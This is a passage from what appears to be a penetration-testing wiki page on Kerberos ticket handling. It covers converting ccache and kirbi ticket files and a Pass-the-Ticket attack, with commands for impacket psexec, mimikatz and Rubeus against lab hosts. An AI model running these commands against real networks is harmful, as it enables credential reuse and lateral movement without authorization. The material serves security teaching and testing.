The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example: ``` root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache ``` [Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning. ### Pass The Ticket Attack {% code title="Linux" %} ```bash export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass ``` {% endcode %} {% code title="Windows" %} ```bash #Load the ticket in memory using mimikatz or Rubeus mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi" .\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi klist #List tickets in cache to cehck that mimikatz has loaded the ticket .\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd ``` {% endcode %} ## References * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
